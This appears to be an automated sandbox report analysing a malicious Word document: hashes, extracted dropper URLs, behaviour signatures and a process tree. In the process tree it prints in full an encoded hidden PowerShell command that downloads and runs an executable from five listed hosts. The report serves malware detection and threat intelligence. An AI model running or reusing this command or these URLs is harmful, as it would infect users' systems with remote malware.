Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:12

General

  • Target

    78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc

  • Size

    171KB

  • MD5

    dc6229943a8b00cbca4ea6f70b3c9c08

  • SHA1

    5eb56bab75a2db1dfc58866a875d822a97ba6c97

  • SHA256

    78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071

  • SHA512

    af1c42c5aca7c10e468aef6a5a1e7a07c088864ffef4db88c3845deb0fa8b115d30ea44f03d4d25f068d42f82f2afce5557109b318042cd104f1533568d46d6c

  • SSDEEP

    3072:I12y/GdyDktGDWLS0HZWD5w8K7Nk9dD7IBUBNGp4HAIoy:I12k4DtGiL3HJk9dD7bvPHAID

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1964

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\800413DB.wmf

      Filesize

      444B

      MD5

      c1cacaed879b00cb79daf5ec996913f8

      SHA1

      f9deb8fef4f2f8028067c608f164a2013fc49c0b

      SHA256

      d7d9d603bcb46cc9469cf86590943419b4d413a3dd8a16f18986697382caeea2

      SHA512

      ff167ef0aa886c0b4d1c8209a964b2da4d612a188db4d6ae95fe63280ef0f354b55e0af7ccd2106101d91e7b38078aa12e400cbd1a5ed00ec22cff11bef9b02e

    • memory/1260-21-0x0000000006E00000-0x0000000006F00000-memory.dmp

      Filesize

      1024KB

    • memory/1260-2-0x0000000071A6D000-0x0000000071A78000-memory.dmp

      Filesize

      44KB

    • memory/1260-5-0x0000000006910000-0x0000000006A10000-memory.dmp

      Filesize

      1024KB

    • memory/1260-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1260-14-0x0000000006E00000-0x0000000006F00000-memory.dmp

      Filesize

      1024KB

    • memory/1260-0-0x000000002F6D1000-0x000000002F6D2000-memory.dmp

      Filesize

      4KB

    • memory/1260-24-0x0000000006E00000-0x0000000006F00000-memory.dmp

      Filesize

      1024KB

    • memory/1260-25-0x0000000006E00000-0x0000000006F00000-memory.dmp

      Filesize

      1024KB

    • memory/1260-35-0x0000000071A6D000-0x0000000071A78000-memory.dmp

      Filesize

      44KB

    • memory/1260-36-0x0000000006910000-0x0000000006A10000-memory.dmp

      Filesize

      1024KB

    • memory/1260-37-0x0000000006E00000-0x0000000006F00000-memory.dmp

      Filesize

      1024KB

    • memory/1964-31-0x000000001B480000-0x000000001B762000-memory.dmp

      Filesize

      2.9MB

    • memory/1964-32-0x00000000022C0000-0x00000000022C8000-memory.dmp

      Filesize

      32KB